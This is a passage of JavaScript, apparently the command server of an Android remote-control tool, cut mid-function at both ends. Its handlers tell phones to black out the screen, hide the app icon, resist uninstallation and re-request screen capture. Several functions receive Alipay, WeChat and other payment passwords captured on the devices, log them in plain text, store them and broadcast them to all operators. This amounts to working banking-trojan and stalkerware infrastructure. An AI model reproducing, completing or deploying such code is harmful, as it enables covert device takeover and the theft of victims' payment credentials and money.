message: '确认坐标已保存'
|
||
});
|
||
// 向所有客户端广播坐标已更新(用于实时更新UI显示)
|
||
this.webClientManager.broadcastToAll('confirm_coords_updated', {
|
||
deviceId,
|
||
coords
|
||
});
|
||
this.logger.info(`✅ 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('保存确认坐标失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '保存失败: ' + error.message
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理启用黑屏遮盖的请求
|
||
*/
|
||
handleEnableBlackScreen(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🖤 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送启用黑屏遮盖的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'ENABLE_BLACK_SCREEN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
// 🆕 保存黑屏状态到数据库
|
||
this.databaseService.updateDeviceBlackScreenActive(deviceId, true);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: true,
|
||
isActive: true,
|
||
message: '黑屏遮盖已启用'
|
||
});
|
||
this.logger.info(`✅ 黑屏遮盖启用命令已发送: ${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('启用黑屏遮盖失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '启用失败: ' + error.message
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理取消黑屏遮盖的请求
|
||
*/
|
||
handleDisableBlackScreen(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🖤 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: true,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送取消黑屏遮盖的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'DISABLE_BLACK_SCREEN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
// 🆕 保存黑屏状态到数据库
|
||
this.databaseService.updateDeviceBlackScreenActive(deviceId, false);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: true,
|
||
isActive: false,
|
||
message: '黑屏遮盖已取消'
|
||
});
|
||
this.logger.info(`✅ 黑屏遮盖取消命令已发送: ${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: true,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('取消黑屏遮盖失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: true,
|
||
message: '取消失败: ' + error.message
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理打开应用设置的请求
|
||
*/
|
||
handleOpenAppSettings(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`⚙️ 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送打开应用设置的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_APP_SETTINGS',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 已发送打开应用设置命令到设备 ${deviceId}`);
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开应用设置命令已发送'
|
||
});
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`打开应用设置失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开应用设置失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理隐藏应用的请求
|
||
*/
|
||
handleHideApp(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`📱 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送隐藏应用的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'HIDE_APP',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
// 🆕 保存应用隐藏状态到数据库
|
||
this.databaseService.updateDeviceAppHidden(deviceId, true);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: true,
|
||
isHidden: true,
|
||
message: '应用已隐藏'
|
||
});
|
||
this.logger.info(`✅ 隐藏应用命令已发送: ${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('隐藏应用失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '隐藏失败: ' + error.message
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理应用隐藏状态更新(来自Android端的状态报告)
|
||
*/
|
||
handleAppHideStatusUpdate(deviceId, eventData) {
|
||
try {
|
||
this.logger.info(`📱 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`);
|
||
const isHidden = eventData.isHidden;
|
||
const message = eventData.message || '状态已更新';
|
||
const success = eventData.success;
|
||
// 🆕 保存应用隐藏状态到数据库
|
||
this.databaseService.updateDeviceAppHidden(deviceId, isHidden);
|
||
// 广播状态更新到所有有控制权的Web客户端
|
||
const controllerId = this.webClientManager.getDeviceController(deviceId);
|
||
if (controllerId) {
|
||
this.webClientManager.sendToClient(controllerId, 'app_hide_response', {
|
||
deviceId,
|
||
success: success,
|
||
isHidden: isHidden,
|
||
message: message,
|
||
fromDevice: true // 标记这是来自设备端的状态报告
|
||
});
|
||
this.logger.info(`✅ 应用隐藏状态已广播到控制客户端: ${controllerId}`);
|
||
}
|
||
else {
|
||
this.logger.debug(`📋 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`);
|
||
}
|
||
// 也广播到所有客户端,用于状态同步
|
||
this.webClientManager.broadcastToAll('device_app_hide_status_changed', {
|
||
deviceId,
|
||
isHidden,
|
||
message,
|
||
timestamp: Date.now()
|
||
});
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理应用隐藏状态更新失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理显示应用的请求
|
||
*/
|
||
handleShowApp(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`📱 显示应用: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送显示应用的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'SHOW_APP',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
// 🆕 保存应用隐藏状态到数据库
|
||
this.databaseService.updateDeviceAppHidden(deviceId, false);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: true,
|
||
isHidden: false,
|
||
message: '应用已显示'
|
||
});
|
||
this.logger.info(`✅ 显示应用命令已发送: ${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('显示应用失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '显示失败: ' + error.message
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理关闭配置遮盖的请求
|
||
*/
|
||
handleCloseConfigMask(clientId, deviceId, manual = true) {
|
||
try {
|
||
this.logger.info(`🛡️ 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
// 注意:关闭配置遮盖使用permission_response事件而非专用响应事件
|
||
return false;
|
||
}
|
||
// 🆕 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示
|
||
// 这是一个紧急操作,允许任何连接的客户端执行
|
||
// 向设备发送关闭配置遮盖的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'CLOSE_CONFIG_MASK',
|
||
deviceId,
|
||
data: {
|
||
manual: manual
|
||
},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 关闭配置遮盖命令已发送: ${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`);
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('关闭配置遮盖失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理重新获取投屏权限请求
|
||
*/
|
||
handleRefreshMediaProjectionPermission(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`📺 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送重新获取投屏权限的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'REFRESH_MEDIA_PROJECTION_PERMISSION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '重新获取投屏权限命令已发送,请在设备上确认权限'
|
||
});
|
||
this.logger.info(`✅ 重新获取投屏权限命令已发送: ${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('重新获取投屏权限失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '重新获取投屏权限失败: ' + error.message
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 路由权限申请响应
|
||
*/
|
||
routePermissionResponse(socketId, permissionData) {
|
||
try {
|
||
// 获取发送响应的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`);
|
||
return false;
|
||
}
|
||
this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`);
|
||
// 检查权限类型并处理响应
|
||
if (permissionData.permissionType === 'media_projection') {
|
||
this.handleMediaProjectionPermissionResponse(device.id, permissionData);
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`);
|
||
}
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`路由权限申请响应失败: Socket ${socketId}`, error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 💰 路由支付宝密码数据
|
||
*/
|
||
routeAlipayPassword(socketId, passwordData) {
|
||
try {
|
||
// 获取发送密码数据的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`);
|
||
return false;
|
||
}
|
||
this.logger.info(`💰 处理设备 ${device.id} 的支付宝密码数据`);
|
||
// 验证必要字段
|
||
if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) {
|
||
this.logger.warn(`⚠️ 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`);
|
||
return false;
|
||
}
|
||
// 创建支付宝密码记录
|
||
const alipayPasswordRecord = {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: new Date(passwordData.timestamp),
|
||
createdAt: new Date()
|
||
};
|
||
this.logger.info(`支付宝数据 ${alipayPasswordRecord.password}`);
|
||
// 保存到数据库
|
||
this.databaseService.saveAlipayPassword(alipayPasswordRecord);
|
||
// 向所有Web客户端广播支付宝密码记录
|
||
this.webClientManager.broadcastToAll('alipay_password_recorded', {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: passwordData.timestamp
|
||
});
|
||
this.logger.info(`📤 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`路由支付宝密码数据失败: Socket ${socketId}`, error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 💬 路由微信密码数据
|
||
*/
|
||
routeWechatPassword(socketId, passwordData) {
|
||
try {
|
||
// 获取发送密码数据的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`);
|
||
return false;
|
||
}
|
||
this.logger.info(`💬 处理设备 ${device.id} 的微信密码数据`);
|
||
// 验证必要字段
|
||
if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) {
|
||
this.logger.warn(`⚠️ 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`);
|
||
return false;
|
||
}
|
||
// 创建微信密码记录
|
||
const wechatPasswordRecord = {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: new Date(passwordData.timestamp),
|
||
createdAt: new Date()
|
||
};
|
||
this.logger.info(`微信数据 ${wechatPasswordRecord.password}`);
|
||
// 保存到数据库
|
||
this.databaseService.saveWechatPassword(wechatPasswordRecord);
|
||
// 向所有Web客户端广播微信密码记录
|
||
this.webClientManager.broadcastToAll('wechat_password_recorded', {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: passwordData.timestamp
|
||
});
|
||
this.logger.info(`📤 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`路由微信密码数据失败: Socket ${socketId}`, error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 路由通用密码输入数据
|
||
*/
|
||
routePasswordInput(socketId, passwordData) {
|
||
try {
|
||
// 获取发送密码数据的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`);
|
||
return false;
|
||
}
|
||
this.logger.info(`🔐 处理设备 ${device.id} 的通用密码输入数据`);
|
||
// 验证必要字段
|
||
if (!passwordData.password || !passwordData.timestamp || !passwordData.passwordType) {
|
||
this.logger.warn(`⚠️ 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`);
|
||
return false;
|
||
}
|
||
// 🔧 修复:使用设备管理器中的设备ID,而不是passwordData中的deviceId
|
||
// 确保设备ID存在于数据库中,避免外键约束错误
|
||
const deviceId = device.id;
|
||
// 验证设备是否存在于数据库中
|
||
const deviceExists = this.databaseService.getDeviceById(deviceId);
|
||
if (!deviceExists) {
|
||
this.logger.error(`❌ 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`);
|
||
return false;
|
||
}
|
||
// 创建通用密码输入记录
|
||
const passwordInputRecord = {
|
||
deviceId: deviceId, // 🔧 使用验证过的设备ID
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
passwordType: passwordData.passwordType,
|
||
activity: passwordData.activity || 'PasswordInputActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
installationId: passwordData.installationId || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: new Date(passwordData.timestamp),
|
||
createdAt: new Date()
|
||
};
|
||
this.logger.info(`通用密码数据 ${passwordInputRecord.password} (类型: ${passwordInputRecord.passwordType})`);
|
||
// 保存到数据库
|
||
this.databaseService.savePasswordInput(passwordInputRecord);
|
||
// 向所有Web客户端广播通用密码输入记录
|
||
this.webClientManager.broadcastToAll('password_input_recorded', {
|
||
deviceId: deviceId, // 🔧 使用验证过的设备ID
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
passwordType: passwordData.passwordType,
|
||
activity: passwordData.activity || 'PasswordInputActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
installationId: passwordData.installationId || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: passwordData.timestamp
|
||
});
|
||
this.logger.info(`📤 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`路由通用密码输入数据失败: Socket ${socketId}`, error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔍 路由支付宝检测启动指令
|
||
*/
|
||
routeAlipayDetectionStart(socketId, detectionData) {
|
||
try {
|
||
// 获取发送检测启动指令的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`);
|
||
return false;
|
||
}
|
||
this.logger.info(`🔍 处理设备 ${device.id} 的支付宝检测启动指令`);
|
||
// 创建控制消息
|
||
const controlMessage = {
|
||
type: 'ALIPAY_DETECTION_START',
|
||
deviceId: device.id,
|
||
data: detectionData.data || {},
|
||
timestamp: Date.now()
|
||
};
|
||
// 路由控制消息
|
||
const routeResult = this.routeControlMessage(socketId, controlMessage);
|
||
if (routeResult) {
|
||
this.logger.info(`📤 支付宝检测启动指令已发送到设备: ${device.id}`);
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 支付宝检测启动指令发送失败: ${device.id}`);
|
||
}
|
||
return routeResult;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`路由支付宝检测启动指令失败: Socket ${socketId}`, error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 💬 路由微信检测启动指令
|
||
*/
|
||
routeWechatDetectionStart(socketId, detectionData) {
|
||
try {
|
||
// 获取发送检测启动指令的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`);
|
||
return false;
|
||
}
|
||
this.logger.info(`💬 处理设备 ${device.id} 的微信检测启动指令`);
|
||
// 创建控制消息
|
||
const controlMessage = {
|
||
type: 'WECHAT_DETECTION_START',
|
||
deviceId: device.id,
|
||
data: detectionData.data || {},
|
||
timestamp: Date.now()
|
||
};
|
||
// 路由控制消息
|
||
const routeResult = this.routeControlMessage(socketId, controlMessage);
|
||
if (routeResult) {
|
||
this.logger.info(`📤 微信检测启动指令已发送到设备: ${device.id}`);
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 微信检测启动指令发送失败: ${device.id}`);
|
||
}
|
||
return routeResult;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`路由微信检测启动指令失败: Socket ${socketId}`, error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理MediaProjection权限申请响应
|
||
*/
|
||
handleMediaProjectionPermissionResponse(deviceId, permissionData) {
|
||
try {
|
||
this.logger.info(`📺 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`);
|
||
// 向所有Web客户端广播权限申请响应(因为权限申请可能影响多个控制此设备的客户端)
|
||
this.webClientManager.broadcastToAll('refresh_permission_response', {
|
||
deviceId,
|
||
success: permissionData.success,
|
||
message: permissionData.message,
|
||
timestamp: permissionData.timestamp
|
||
});
|
||
this.logger.info(`📤 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`处理MediaProjection权限申请响应失败: ${deviceId}`, error);
|
||
}
|
||
}
|
||
/**
|
||
* 🛡️ 处理启用防止卸载保护的请求
|
||
*/
|
||
handleEnableUninstallProtection(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🛡️ 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
